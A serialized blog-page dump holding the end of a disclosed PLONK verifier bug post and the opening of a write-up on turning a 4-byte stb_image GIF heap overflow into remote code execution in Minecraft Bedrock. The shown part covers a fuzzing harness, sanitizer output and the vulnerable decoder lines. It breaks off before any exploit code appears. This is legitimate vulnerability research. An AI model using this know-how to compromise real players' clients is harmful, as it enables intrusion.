",{"type":24,"tag":2773,"props":151751,"children":151754},{"href":151752,"rel":151753},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[2777],[151755],{"type":29,"value":151756},"similar patterns appear across zkVMs",{"type":29,"value":151758},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":24,"tag":25,"props":151760,"children":151761},{},[151762],{"type":29,"value":151763},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":24,"tag":25,"props":151765,"children":151766},{},[151767],{"type":29,"value":151768},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":24,"tag":32,"props":151770,"children":151771},{"id":66405},[151772],{"type":29,"value":151773},"Disclosure timeline",{"type":24,"tag":61332,"props":151775,"children":151776},{},[151777,151793],{"type":24,"tag":128571,"props":151778,"children":151779},{},[151780],{"type":24,"tag":128575,"props":151781,"children":151782},{},[151783,151788],{"type":24,"tag":128579,"props":151784,"children":151785},{},[151786],{"type":29,"value":151787},"Date",{"type":24,"tag":128579,"props":151789,"children":151790},{},[151791],{"type":29,"value":151792},"Event",{"type":24,"tag":128599,"props":151794,"children":151795},{},[151796,151809,151822,151834,151860,151880],{"type":24,"tag":128575,"props":151797,"children":151798},{},[151799,151804],{"type":24,"tag":128606,"props":151800,"children":151801},{},[151802],{"type":29,"value":151803},"2026-02-13",{"type":24,"tag":128606,"props":151805,"children":151806},{},[151807],{"type":29,"value":151808},"Dusk vulnerability reported",{"type":24,"tag":128575,"props":151810,"children":151811},{},[151812,151817],{"type":24,"tag":128606,"props":151813,"children":151814},{},[151815],{"type":29,"value":151816},"2026-02-14",{"type":24,"tag":128606,"props":151818,"children":151819},{},[151820],{"type":29,"value":151821},"Dusk acknowledged",{"type":24,"tag":128575,"props":151823,"children":151824},{},[151825,151829],{"type":24,"tag":128606,"props":151826,"children":151827},{},[151828],{"type":29,"value":151816},{"type":24,"tag":128606,"props":151830,"children":151831},{},[151832],{"type":29,"value":151833},"Dusk fix committed",{"type":24,"tag":128575,"props":151835,"children":151836},{},[151837,151842],{"type":24,"tag":128606,"props":151838,"children":151839},{},[151840],{"type":29,"value":151841},"2026-02-27",{"type":24,"tag":128606,"props":151843,"children":151844},{},[151845,151847,151858],{"type":29,"value":151846},"Public ",{"type":24,"tag":2773,"props":151848,"children":151851},{"href":151849,"rel":151850},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[2777],[151852],{"type":24,"tag":80,"props":151853,"children":151855},{"className":151854},[],[151856],{"type":29,"value":151857},"dusk-rusk-1.6.0",{"type":29,"value":151859}," release published",{"type":24,"tag":128575,"props":151861,"children":151862},{},[151863,151868],{"type":24,"tag":128606,"props":151864,"children":151865},{},[151866],{"type":29,"value":151867},"2026-03-16",{"type":24,"tag":128606,"props":151869,"children":151870},{},[151871,151873,151879],{"type":29,"value":151872},"Jellyfish fix PR opened (",{"type":24,"tag":2773,"props":151874,"children":151876},{"href":151716,"rel":151875},[2777],[151877],{"type":29,"value":151878},"#867",{"type":29,"value":8758},{"type":24,"tag":128575,"props":151881,"children":151882},{},[151883,151888],{"type":24,"tag":128606,"props":151884,"children":151885},{},[151886],{"type":29,"value":151887},"2026-03-18",{"type":24,"tag":128606,"props":151889,"children":151890},{},[151891,151893,151898,151900],{"type":29,"value":151892},"Jellyfish fix merged in ",{"type":24,"tag":2773,"props":151894,"children":151896},{"href":151716,"rel":151895},[2777],[151897],{"type":29,"value":151878},{"type":29,"value":151899}," and tagged as ",{"type":24,"tag":2773,"props":151901,"children":151903},{"href":151725,"rel":151902},[2777],[151904],{"type":24,"tag":80,"props":151905,"children":151907},{"className":151906},[],[151908],{"type":29,"value":151733},{"type":24,"tag":32,"props":151910,"children":151912},{"id":151911},"acknowledgements",[151913],{"type":29,"value":151914},"Acknowledgements",{"type":24,"tag":25,"props":151916,"children":151917},{},[151918],{"type":29,"value":151919},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":160,"depth":160,"links":151921},[151922,151929,151930,151931,151932,151933,151934,151935,151936,151937,151938,151939],{"id":146739,"depth":160,"text":146742,"children":151923},[151924,151925,151926,151927,151928],{"id":146764,"depth":169,"text":146767},{"id":147567,"depth":169,"text":147570},{"id":148765,"depth":169,"text":148768},{"id":148795,"depth":169,"text":148798},{"id":149076,"depth":169,"text":149079},{"id":149809,"depth":160,"text":149812},{"id":149947,"depth":160,"text":149950},{"id":95884,"depth":160,"text":150578},{"id":151177,"depth":160,"text":151180},{"id":151314,"depth":160,"text":151317},{"id":151429,"depth":160,"text":151432},{"id":151522,"depth":160,"text":151525},{"id":151589,"depth":160,"text":151592},{"id":151741,"depth":160,"text":151744},{"id":66405,"depth":160,"text":151773},{"id":151911,"depth":160,"text":151914},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":151944,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":151945,"description":151946,"date":151947,"author":11,"image":151948,"isFeatured":16,"onBlogPage":16,"tags":151950,"body":151953,"_type":8496,"_id":161333,"_source":8498,"_file":161334,"_stem":161335,"_extension":8501},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":151949,"width":14,"height":15},"/posts/minecraft-heap-overflow-to-rce/title.png",[151951,151952],"minecraft","rce",{"type":21,"children":151954,"toc":161310},[151955,151960,151965,151970,151976,151981,152000,152005,152011,152016,152021,152027,152032,152037,152042,152048,152053,152058,152064,152084,152096,152103,152125,152139,152146,152152,152162,152182,152187,152193,152206,152551,152556,152564,152570,152589,152897,152925,152968,152980,152988,152993,153462,153481,153502,153844,153868,154140,154164,154191,154400,154419,154427,154446,154452,154514,154517,154539,154543,154548,154553,154559,154564,154578,154584,154598,154604,154617,154622,154630,154635,154641,154662,154670,154683,154686,154691,154705,154710,154715,154721,154726,154749,154754,154760,154765,154777,154789,154903,154923,154928,154933,154939,154944,154964,155579,155592,156666,156671,156679,156684,156690,156695,156703,156716,156721,156726,156733,156746,156751,156758,156813,156833,156840,156859,156866,156869,156874,156879,156885,156897,156910,156918,156989,157000,157034,157042,157047,157052,157058,157070,157089,157101,157106,157114,157133,157141,157160,157168,157194,157202,157207,157215,157220,157228,157231,157236,157241,157247,157260,157278,157316,157346,157354,157359,157365,157370,157375,157381,157393,157562,157574,157582,157587,157594,157599,157660,157707,157719,157724,157750,157824,157862,157867,157875,157896,157901,157927,157961,158014,158061,158067,158086,158118,158126,158229,158300,158306,158332,158339,158344,158351,158356,158597,158623,158628,158676,158681,158687,158719,158731,158763,158771,158810,158818,158823,158831,158836,158844,158856,158864,158876,158884,158896,158916,158922,158942,158959,158967,158979,158987,159006,159011,159019,159024,159032,159058,159069,159076,159081,159089,159094,159102,159107,159115,159120,159128,159133,159141,159146,159154,159195,159202,159207,159215,159220,159228,159233,159241,159246,159251,159259,159264,159272,159298,159306,159332,159340,159345,159353,159358,159366,159374,159379,159387,159392,159400,159403,159414,159448,159466,159474,159494,159500,159519,159577,159597,159605,159608,159647,159707,159712,159718,159731,159739,159791,159830,159838,159871,159874,159894,159902,159908,159913,159921,159961,160002,160022,160027,160032,160050,160056,160061,160080,160141,160149,160175,160181,160201,160206,160211,160218,160283,160288,160295,160316,160321,160333,160339,160372,160379,160384,160412,160419,160475,160487,160494,160555,160574,160580,160614,160635,160662,160670,160723,160793,160799,160819,160862,160867,161265,161271,161276,161287,161291,161296,161301,161306],{"type":24,"tag":40973,"props":151956,"children":151958},{"id":151957},"pwning-minecraft-4-byte-heap-overflow-to-rce",[151959],{"type":29,"value":151945},{"type":24,"tag":25,"props":151961,"children":151962},{},[151963],{"type":29,"value":151964},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":24,"tag":25,"props":151966,"children":151967},{},[151968],{"type":29,"value":151969},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":24,"tag":32,"props":151971,"children":151973},{"id":151972},"the-target",[151974],{"type":29,"value":151975},"The Target",{"type":24,"tag":25,"props":151977,"children":151978},{},[151979],{"type":29,"value":151980},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":24,"tag":25,"props":151982,"children":151983},{},[151984,151986,151991,151993,151998],{"type":29,"value":151985},"There are two main editions: ",{"type":24,"tag":10949,"props":151987,"children":151988},{},[151989],{"type":29,"value":151990},"Minecraft Java Edition",{"type":29,"value":151992},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":24,"tag":10949,"props":151994,"children":151995},{},[151996],{"type":29,"value":151997},"Minecraft Bedrock Edition",{"type":29,"value":151999},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":24,"tag":25,"props":152001,"children":152002},{},[152003],{"type":29,"value":152004},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":24,"tag":43,"props":152006,"children":152008},{"id":152007},"choice-of-context",[152009],{"type":29,"value":152010},"Choice of Context",{"type":24,"tag":25,"props":152012,"children":152013},{},[152014],{"type":29,"value":152015},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":24,"tag":25,"props":152017,"children":152018},{},[152019],{"type":29,"value":152020},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":24,"tag":43,"props":152022,"children":152024},{"id":152023},"resource-packs",[152025],{"type":29,"value":152026},"Resource Packs",{"type":24,"tag":25,"props":152028,"children":152029},{},[152030],{"type":29,"value":152031},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":24,"tag":25,"props":152033,"children":152034},{},[152035],{"type":29,"value":152036},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":24,"tag":25,"props":152038,"children":152039},{},[152040],{"type":29,"value":152041},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":24,"tag":32,"props":152043,"children":152045},{"id":152044},"finding-a-memory-corruption-bug",[152046],{"type":29,"value":152047},"Finding a Memory Corruption Bug",{"type":24,"tag":25,"props":152049,"children":152050},{},[152051],{"type":29,"value":152052},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":24,"tag":25,"props":152054,"children":152055},{},[152056],{"type":29,"value":152057},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":24,"tag":43,"props":152059,"children":152061},{"id":152060},"locating-image-parsing-code",[152062],{"type":29,"value":152063},"Locating Image Parsing Code",{"type":24,"tag":25,"props":152065,"children":152066},{},[152067,152069,152075,152076,152082],{"type":29,"value":152068},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":24,"tag":80,"props":152070,"children":152072},{"className":152071},[],[152073],{"type":29,"value":152074},"PNG",{"type":29,"value":18751},{"type":24,"tag":80,"props":152077,"children":152079},{"className":152078},[],[152080],{"type":29,"value":152081},"GIF",{"type":29,"value":152083}," and look for error logging or other messages that use those substrings.",{"type":24,"tag":25,"props":152085,"children":152086},{},[152087,152089,152094],{"type":29,"value":152088},"Searching for the string ",{"type":24,"tag":80,"props":152090,"children":152092},{"className":152091},[],[152093],{"type":29,"value":152081},{"type":29,"value":152095}," returned some interesting results:",{"type":24,"tag":25,"props":152097,"children":152098},{},[152099],{"type":24,"tag":63,"props":152100,"children":152102},{"alt":56176,"src":152101},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":24,"tag":25,"props":152104,"children":152105},{},[152106,152108,152115,152117,152124],{"type":29,"value":152107},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":24,"tag":2773,"props":152109,"children":152112},{"href":152110,"rel":152111},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[2777],[152113],{"type":29,"value":152114},"stb_image.h",{"type":29,"value":152116},". For an example: usage of ",{"type":24,"tag":2773,"props":152118,"children":152121},{"href":152119,"rel":152120},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[2777],[152122],{"type":29,"value":152123},"bad Image Descriptor",{"type":29,"value":87},{"type":24,"tag":25,"props":152126,"children":152127},{},[152128,152130,152137],{"type":29,"value":152129},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":24,"tag":2773,"props":152131,"children":152134},{"href":152132,"rel":152133},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[2777],[152135],{"type":29,"value":152136},"stbi__gif_load_next",{"type":29,"value":152138},", and loaded the resource pack - this confirmed its usage:",{"type":24,"tag":25,"props":152140,"children":152141},{},[152142],{"type":24,"tag":63,"props":152143,"children":152145},{"alt":56176,"src":152144},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":24,"tag":43,"props":152147,"children":152149},{"id":152148},"stb-image-library",[152150],{"type":29,"value":152151},"STB Image Library",{"type":24,"tag":25,"props":152153,"children":152154},{},[152155,152160],{"type":24,"tag":80,"props":152156,"children":152158},{"className":152157},[],[152159],{"type":29,"value":152114},{"type":29,"value":152161}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":24,"tag":25,"props":152163,"children":152164},{},[152165,152167,152172,152174,152181],{"type":29,"value":152166},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":24,"tag":80,"props":152168,"children":152170},{"className":152169},[],[152171],{"type":29,"value":152114},{"type":29,"value":152173}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":24,"tag":2773,"props":152175,"children":152178},{"href":152176,"rel":152177},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[2777],[152179],{"type":29,"value":152180},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":29,"value":87},{"type":24,"tag":25,"props":152183,"children":152184},{},[152185],{"type":29,"value":152186},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":24,"tag":112,"props":152188,"children":152190},{"id":152189},"fuzzing",[152191],{"type":29,"value":152192},"Fuzzing",{"type":24,"tag":25,"props":152194,"children":152195},{},[152196,152198,152205],{"type":29,"value":152197},"The fuzzer consisted of a very simple ",{"type":24,"tag":2773,"props":152199,"children":152202},{"href":152200,"rel":152201},"https://github.com/AFLplusplus/AFLplusplus",[2777],[152203],{"type":29,"value":152204},"AFL++",{"type":29,"value":32342},{"type":24,"tag":137,"props":152207,"children":152209},{"code":152208,"language":140,"meta":7,"className":141,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[152210],{"type":24,"tag":80,"props":152211,"children":152212},{"__ignoreMap":7},[152213,152226,152238,152245,152291,152303,152324,152331,152355,152370,152377,152384,152456,152480,152495,152502,152509,152522,152529,152544],{"type":24,"tag":147,"props":152214,"children":152215},{"class":149,"line":150},[152216,152221],{"type":24,"tag":147,"props":152217,"children":152218},{"style":321},[152219],{"type":29,"value":152220},"#define",{"type":24,"tag":147,"props":152222,"children":152223},{"style":229},[152224],{"type":29,"value":152225}," STB_IMAGE_IMPLEMENTATION\n",{"type":24,"tag":147,"props":152227,"children":152228},{"class":149,"line":160},[152229,152233],{"type":24,"tag":147,"props":152230,"children":152231},{"style":321},[152232],{"type":29,"value":95998},{"type":24,"tag":147,"props":152234,"children":152235},{"style":3534},[152236],{"type":29,"value":152237}," \"./stb/stb_image.h\"\n",{"type":24,"tag":147,"props":152239,"children":152240},{"class":149,"line":169},[152241],{"type":24,"tag":147,"props":152242,"children":152243},{"emptyLinePlaceholder":16},[152244],{"type":29,"value":314},{"type":24,"tag":147,"props":152246,"children":152247},{"class":149,"line":178},[152248,152252,152256,152260,152264,152269,152273,152278,152282,152287],{"type":24,"tag":147,"props":152249,"children":152250},{"style":218},[152251],{"type":29,"value":1276},{"type":24,"tag":147,"props":152253,"children":152254},{"style":229},[152255],{"type":29,"value":96363},{"type":24,"tag":147,"props":152257,"children":152258},{"style":235},[152259],{"type":29,"value":480},{"type":24,"tag":147,"props":152261,"children":152262},{"style":218},[152263],{"type":29,"value":1276},{"type":24,"tag":147,"props":152265,"children":152266},{"style":247},[152267],{"type":29,"value":152268}," argc",{"type":24,"tag":147,"props":152270,"children":152271},{"style":235},[152272],{"type":29,"value":546},{"type":24,"tag":147,"props":152274,"children":152275},{"style":218},[152276],{"type":29,"value":152277},"char",{"type":24,"tag":147,"props":152279,"children":152280},{"style":241},[152281],{"type":29,"value":95464},{"type":24,"tag":147,"props":152283,"children":152284},{"style":247},[152285],{"type":29,"value":152286},"argv",{"type":24,"tag":147,"props":152288,"children":152289},{"style":235},[152290],{"type":29,"value":505},{"type":24,"tag":147,"props":152292,"children":152293},{"class":149,"line":187},[152294,152298],{"type":24,"tag":147,"props":152295,"children":152296},{"style":218},[152297],{"type":29,"value":4499},{"type":24,"tag":147,"props":152299,"children":152300},{"style":235},[152301],{"type":29,"value":152302}," x, y, comp;\n",{"type":24,"tag":147,"props":152304,"children":152305},{"class":149,"line":196},[152306,152311,152315,152319],{"type":24,"tag":147,"props":152307,"children":152308},{"style":218},[152309],{"type":29,"value":152310},"    unsigned",{"type":24,"tag":147,"props":152312,"children":152313},{"style":218},[152314],{"type":29,"value":64632},{"type":24,"tag":147,"props":152316,"children":152317},{"style":241},[152318],{"type":29,"value":1263},{"type":24,"tag":147,"props":152320,"children":152321},{"style":235},[152322],{"type":29,"value":152323},"ret;\n",{"type":24,"tag":147,"props":152325,"children":152326},{"class":149,"line":205},[152327],{"type":24,"tag":147,"props":152328,"children":152329},{"emptyLinePlaceholder":16},[152330],{"type":29,"value":314},{"type":24,"tag":147,"props":152332,"children":152333},{"class":149,"line":214},[152334,152338,152343,152347,152351],{"type":24,"tag":147,"props":152335,"children":152336},{"style":321},[152337],{"type":29,"value":4759},{"type":24,"tag":147,"props":152339,"children":152340},{"style":235},[152341],{"type":29,"value":152342}," (argc ",{"type":24,"tag":147,"props":152344,"children":152345},{"style":241},[152346],{"type":29,"value":4279},{"type":24,"tag":147,"props":152348,"children":152349},{"style":705},[152350],{"type":29,"value":13560},{"type":24,"tag":147,"props":152352,"children":152353},{"style":235},[152354],{"type":29,"value":505},{"type":24,"tag":147,"props":152356,"children":152357},{"class":149,"line":272},[152358,152362,152366],{"type":24,"tag":147,"props":152359,"children":152360},{"style":321},[152361],{"type":29,"value":7020},{"type":24,"tag":147,"props":152363,"children":152364},{"style":705},[152365],{"type":29,"value":10147},{"type":24,"tag":147,"props":152367,"children":152368},{"style":235},[152369],{"type":29,"value":432},{"type":24,"tag":147,"props":152371,"children":152372},{"class":149,"line":281},[152373],{"type":24,"tag":147,"props":152374,"children":152375},{"style":235},[152376],{"type":29,"value":1952},{"type":24,"tag":147,"props":152378,"children":152379},{"class":149,"line":299},[152380],{"type":24,"tag":147,"props":152381,"children":152382},{"emptyLinePlaceholder":16},[152383],{"type":29,"value":314},{"type":24,"tag":147,"props":152385,"children":152386},{"class":149,"line":308},[152387,152392,152396,152401,152405,152409,152413,152417,152421,152425,152430,152434,152439,152443,152448,152452],{"type":24,"tag":147,"props":152388,"children":152389},{"style":235},[152390],{"type":29,"value":152391},"    ret ",{"type":24,"tag":147,"props":152393,"children":152394},{"style":241},[152395],{"type":29,"value":369},{"type":24,"tag":147,"props":152397,"children":152398},{"style":229},[152399],{"type":29,"value":152400}," stbi_load",{"type":24,"tag":147,"props":152402,"children":152403},{"style":235},[152404],{"type":29,"value":480},{"type":24,"tag":147,"props":152406,"children":152407},{"style":247},[152408],{"type":29,"value":152286},{"type":24,"tag":147,"props":152410,"children":152411},{"style":235},[152412],{"type":29,"value":9358},{"type":24,"tag":147,"props":152414,"children":152415},{"style":705},[152416],{"type":29,"value":1154},{"type":24,"tag":147,"props":152418,"children":152419},{"style":235},[152420],{"type":29,"value":28662},{"type":24,"tag":147,"props":152422,"children":152423},{"style":241},[152424],{"type":29,"value":485},{"type":24,"tag":147,"props":152426,"children":152427},{"style":235},[152428],{"type":29,"value":152429},"x, ",{"type":24,"tag":147,"props":152431,"children":152432},{"style":241},[152433],{"type":29,"value":485},{"type":24,"tag":147,"props":152435,"children":152436},{"style":235},[152437],{"type":29,"value":152438},"y, ",{"type":24,"tag":147,"props":152440,"children":152441},{"style":241},[152442],{"type":29,"value":485},{"type":24,"tag":147,"props":152444,"children":152445},{"style":235},[152446],{"type":29,"value":152447},"comp, ",{"type":24,"tag":147,"props":152449,"children":152450},{"style":705},[152451],{"type":29,"value":3173},{"type":24,"tag":147,"props":152453,"children":152454},{"style":235},[152455],{"type":29,"value":1473},{"type":24,"tag":147,"props":152457,"children":152458},{"class":149,"line":317},[152459,152463,152468,152472,152476],{"type":24,"tag":147,"props":152460,"children":152461},{"style":321},[152462],{"type":29,"value":4759},{"type":24,"tag":147,"props":152464,"children":152465},{"style":235},[152466],{"type":29,"value":152467}," (ret ",{"type":24,"tag":147,"props":152469,"children":152470},{"style":241},[152471],{"type":29,"value":6600},{"type":24,"tag":147,"props":152473,"children":152474},{"style":218},[152475],{"type":29,"value":4284},{"type":24,"tag":147,"props":152477,"children":152478},{"style":235},[152479],{"type":29,"value":505},{"type":24,"tag":147,"props":152481,"children":152482},{"class":149,"line":332},[152483,152487,152491],{"type":24,"tag":147,"props":152484,"children":152485},{"style":321},[152486],{"type":29,"value":7020},{"type":24,"tag":147,"props":152488,"children":152489},{"style":705},[152490],{"type":29,"value":10147},{"type":24,"tag":147,"props":152492,"children":152493},{"style":235},[152494],{"type":29,"value":432},{"type":24,"tag":147,"props":152496,"children":152497},{"class":149,"line":350},[152498],{"type":24,"tag":147,"props":152499,"children":152500},{"style":235},[152501],{"type":29,"value":1952},{"type":24,"tag":147,"props":152503,"children":152504},{"class":149,"line":358},[152505],{"type":24,"tag":147,"props":152506,"children":152507},{"style":235},[152508],{"type":29,"value":67368},{"type":24,"tag":147,"props":152510,"children":152511},{"class":149,"line":397},[152512,152517],{"type":24,"tag":147,"props":152513,"children":152514},{"style":229},[152515],{"type":29,"value":152516},"    stbi_image_free",{"type":24,"tag":147,"props":152518,"children":152519},{"style":235},[152520],{"type":29,"value":152521},"(ret);\n",{"type":24,"tag":147,"props":152523,"children":152524},{"class":149,"line":421},[152525],{"type":24,"tag":147,"props":152526,"children":152527},{"emptyLinePlaceholder":16},[152528],{"type":29,"value":314},{"type":24,"tag":147,"props":152530,"children":152531},{"class":149,"line":435},[152532,152536,152540],{"type":24,"tag":147,"props":152533,"children":152534},{"style":321},[152535],{"type":29,"value":2597},{"type":24,"tag":147,"props":152537,"children":152538},{"style":705},[152539],{"type":29,"value":708},{"type":24,"tag":147,"props":152541,"children":152542},{"style":235},[152543],{"type":29,"value":432},{"type":24,"tag":147,"props":152545,"children":152546},{"class":149,"line":444},[152547],{"type":24,"tag":147,"props":152548,"children":152549},{"style":235},[152550],{"type":29,"value":827},{"type":24,"tag":25,"props":152552,"children":152553},{},[152554],{"type":29,"value":152555},"And soon after starting the fuzzer it found an interesting bug:",{"type":24,"tag":137,"props":152557,"children":152559},{"code":152558},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[152560],{"type":24,"tag":80,"props":152561,"children":152562},{"__ignoreMap":7},[152563],{"type":29,"value":152558},{"type":24,"tag":112,"props":152565,"children":152567},{"id":152566},"investigating-the-finding",[152568],{"type":29,"value":152569},"Investigating the Finding",{"type":24,"tag":25,"props":152571,"children":152572},{},[152573,152575,152581,152582,152587],{"type":29,"value":152574},"The ASAN output shows that at line ",{"type":24,"tag":80,"props":152576,"children":152578},{"className":152577},[],[152579],{"type":29,"value":152580},"6233",{"type":29,"value":148081},{"type":24,"tag":80,"props":152583,"children":152585},{"className":152584},[],[152586],{"type":29,"value":152114},{"type":29,"value":152588}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":24,"tag":137,"props":152590,"children":152592},{"code":152591,"language":140,"meta":7,"className":141,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[152593],{"type":24,"tag":80,"props":152594,"children":152595},{"__ignoreMap":7},[152596,152638,152645,152671,152684,152691,152699,152706,152760,152767,152813,152846],{"type":24,"tag":147,"props":152597,"children":152598},{"class":149,"line":150},[152599,152603,152607,152612,152617,152621,152625,152630,152634],{"type":24,"tag":147,"props":152600,"children":152601},{"style":218},[152602],{"type":29,"value":221},{"type":24,"tag":147,"props":152604,"children":152605},{"style":218},[152606],{"type":29,"value":226},{"type":24,"tag":147,"props":152608,"children":152609},{"style":229},[152610],{"type":29,"value":152611}," stbi__out_gif_code",{"type":24,"tag":147,"props":152613,"children":152614},{"style":235},[152615],{"type":29,"value":152616},"(stbi__gif ",{"type":24,"tag":147,"props":152618,"children":152619},{"style":241},[152620],{"type":29,"value":244},{"type":24,"tag":147,"props":152622,"children":152623},{"style":247},[152624],{"type":29,"value":114872},{"type":24,"tag":147,"props":152626,"children":152627},{"style":235},[152628],{"type":29,"value":152629},", stbi__uint16 ",{"type":24,"tag":147,"props":152631,"children":152632},{"style":247},[152633],{"type":29,"value":80},{"type":24,"tag":147,"props":152635,"children":152636},{"style":235},[152637],{"type":29,"value":269},{"type":24,"tag":147,"props":152639,"children":152640},{"class":149,"line":160},[152641],{"type":24,"tag":147,"props":152642,"children":152643},{"style":235},[152644],{"type":29,"value":278},{"type":24,"tag":147,"props":152646,"children":152647},{"class":149,"line":169},[152648,152653,152657,152662,152666],{"type":24,"tag":147,"props":152649,"children":152650},{"style":235},[152651],{"type":29,"value":152652},"   stbi_uc ",{"type":24,"tag":147,"props":152654,"children":152655},{"style":241},[152656],{"type":29,"value":244},{"type":24,"tag":147,"props":152658,"children":152659},{"style":235},[152660],{"type":29,"value":152661},"p, ",{"type":24,"tag":147,"props":152663,"children":152664},{"style":241},[152665],{"type":29,"value":244},{"type":24,"tag":147,"props":152667,"children":152668},{"style":235},[152669],{"type":29,"value":152670},"c;\n",{"type":24,"tag":147,"props":152672,"children":152673},{"class":149,"line":178},[152674,152679],{"type":24,"tag":147,"props":152675,"children":152676},{"style":218},[152677],{"type":29,"value":152678},"   int",{"type":24,"tag":147,"props":152680,"children":152681},{"style":235},[152682],{"type":29,"value":152683}," idx; \n",{"type":24,"tag":147,"props":152685,"children":152686},{"class":149,"line":187},[152687],{"type":24,"tag":147,"props":152688,"children":152689},{"emptyLinePlaceholder":16},[152690],{"type":29,"value":314},{"type":24,"tag":147,"props":152692,"children":152693},{"class":149,"line":196},[152694],{"type":24,"tag":147,"props":152695,"children":152696},{"style":235},[152697],{"type":29,"value":152698},"   